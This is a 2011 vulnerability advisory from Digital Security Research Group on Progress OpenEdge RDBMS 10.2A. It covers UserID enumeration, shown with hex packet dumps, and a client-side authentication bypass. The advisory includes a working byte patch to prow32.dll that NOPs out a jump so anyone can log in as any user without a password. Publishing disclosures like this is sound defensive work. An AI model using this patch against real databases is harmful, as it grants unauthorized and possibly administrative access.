Progress OpenEdge Enterprise RDBMS version 10.2A has some vulnerabilities that make it possible to enumerate UserID and bypass authentication.
94f3ea7ac21edb9e58b5237ff7c2a7826e37b408dbacdbff22fb5468c6bdec38
Digital Security Research Group [DSecRG] Advisory #DSECRG-11-008
Application: Progress OpenEdge Enterprise RDBMS
Versions Affected: 10.2A and maybe others
Vendor URL: http://web.progress.com
Bug: Authentication bypass, UserID enumerate
Exploits: YES
Reported: 13.10.2009
Vendor response: 13.10.2009
Solution: NONE
Date of Public Advisory:24.01.2011
Authors: Alexander Polyakov, Alexey Sintsov, Alexey Troshichev of Digital Security Research Group [DSecRG]
Description
***********
Progress OpenEdge Enterprise RDBMS (formerly known as the Progress RDBMS) is
a high-efficiency relational database management system by company Progress
Software Corp productions.It is widely used as backend for cutomezed ERP systems.
This RDBMS has some vulnerabilities that make possible
to enumerate UserID and bypass authentification.
Details
*******
1. UserID enumerate
Attacker can get valid UserID. It is possible because OpenEdge RDBMS server
give different answers for situation when password is incorrect and when
UserID does not exist. Client application in both way gives the same message
- Your Password and UserID <USERID> do not much. But in network layer
answers from server are different:
Packet 1. From server to client, if UserID exist (UserID eq AAA):
0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E.
0x0010 00 C3 00 00 00 00 40 06-7C 33 7F 00 00 01 7F 00 .A....@.|3....
0x0020 00 01 0B B8 10 42 56 07-00 00 00 00 00 00 50 00 ...?.BV.......P.
0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 9B 00 4F @..........-..O
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 4F FF FB ..........h.Oyu
0x0070 00 00 00 00 00 00 0F 02-00 00 00 00 00 00 00 00 ................
0x0080 22 C0 E7 00 02 00 3C 01-FB 03 41 41 41 10 72 6D "Ac...<.u.AAA.rm
0x0090 57 78 6A 69 64 4E 63 6E-4D 64 6D 69 61 63 03 41 WxjidNcnMdmiac.A
0x00A0 41 41 FA 00 09 FD FD FD-FD FD FD FD FD FF FA 00 AAu..yyyyyyyyyu.
0x00B0 09 FD FD FD FD FD FD FD-FD FF FD FD FD FD FD FD .yyyyyyyyyyyyyyy
0x00C0 FD FD FD FD FD FD FD FD-FD FD FD FD FD FD FD FD yyyyyyyyyyyyyyyy
0x00D0 FD y
Packet 2. From server to client, if UserId does not exist:
0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E.
0x0010 00 74 00 00 00 00 40 06-7C 82 7F 00 00 01 7F 00 .t....@.|....
0x0020 00 01 0B B8 10 45 56 07-00 00 00 00 00 00 50 00 ...?.EV.......P.
0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 4C FB 41 @..........-.LuA
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 00 FF FB ..........h..yu
So attacker can connect to RDBMS server with different UserID and see
network answers for getting existing UserID.
2. Authentication bypass
Remote attacker can log in into RDBMS use existing or not existing UserID
without password. It is possible because authentication process is going
on client side. When password incorrect client application reset connection
with server and show message box. If password is correct, client send to
server UserID which he will be to use in RDBMS.
Packet 3. From client to server, when password for UserID TEST2 is correct:
0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E.
0x0010 00 6E 00 00 00 00 40 06-7C 88 7F 00 00 01 7F 00 .n....@.|?....
0x0020 00 01 0B 27 0B B8 13 03-00 00 00 00 00 00 50 00 ...'.?........P.
0x0030 40 00 00 00 00 00 00 00-00 09 00 14 00 46 00 00 @............F..
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 73 ..............Us
0x0060 65 72 69 64 20 69 73 20-6E 6F 77 20 54 45 53 54 erid is now TEST
0x0070 32 2E 20 28 37 30 38 29-00 00 00 00 2. (708)....
Example of attack:
Patch of %OpenEdge%\bin\prow32.dll (for version 10.2A)
Begin address: 0x020065
- 0f85ce020000
+ 909090909090
After that run DataAdministration(%OpenEdge%\bin\prowin32.exe) and try to
enter into RDBMS with any UserID and without password.
Application show error message box, but allow to enter into RDBMS with
chosen UserId. If chosen UserID has a Security Administrator privileges,
so attacker gets this privileges. By default in OpenEdge RDBMS all
users have Security Administrator privileges.
Fix Information
***************
The only one possible fix is to use Windows authentication instead of proprietary.
References
*********
http://dsecrg.com/content/vul/edit.php?id=308
https://www.blackhat.com/html/bh-dc-11/bh-dc-11-archives.html#Smith
About
*****
Digital Security:
Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.
Digital Security Research Group:
International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com
Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov@dsec.ru
www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru
-----------------------------------
This message and any attachment are confidential and may be privileged or otherwise protected
from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure
is strictly prohibited. If you have received this message in error, please notify the sender immediately
either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence
via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding
statements by e-mail unless otherwise agreed.
-----------------------------------